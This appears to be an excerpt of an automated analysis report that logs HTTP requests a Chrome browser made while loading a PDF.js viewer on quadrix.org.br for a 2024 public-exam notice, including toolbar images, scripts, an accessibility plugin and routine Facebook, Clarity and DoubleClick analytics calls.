Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-pageUp.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-pageDown.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-print.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-download.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-presentationMode.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-zoomOut.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-secondaryToolbarToggle.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-zoomIn.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/viewer.js HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /build/pdf.js HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/l10n.js HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-pageDown.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-print.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-pageUp.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-menuArrows.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-download.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-presentationMode.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/quadrix-basic/scripts/rybenaDOM.js HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app/vlibras-plugin.js HTTP/1.1Host: vlibras.gov.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/compatibility.js HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/apps/body/6ps6-p5y2d01PkUzqq17Wmg4RqQ.js HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/texture.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-viewThumbnail.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-sidebarToggle.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-zoomOut.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-secondaryToolbarToggle.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-zoomIn.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-search.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/texture.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-viewThumbnail.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-sidebarToggle.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/toolbarButton-search.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/gnjwwmt1ml HTTP/1.1Host: www.clarity.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/0.7.32/clarity.js HTTP/1.1Host: www.clarity.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CLID=9a899d0fa74e4bd0914bb20735a0c999.20240510.20250510
Source: global traffic	HTTP traffic detected: GET /td/rul/341894994?random=1715325658495&cv=11&fst=1715325658495&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&label=7TlxCO2f-4QDENLOg6MB&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&ct_cookie_present=0 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /signals/config/516356326232506?v=2.9.156&r=stable&domain=www.quadrix.org.br&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105 HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/341894994?random=1715325658478&cv=11&fst=1715325658478&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/341894994/?random=1715325658478&cv=11&fst=1715325658478&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
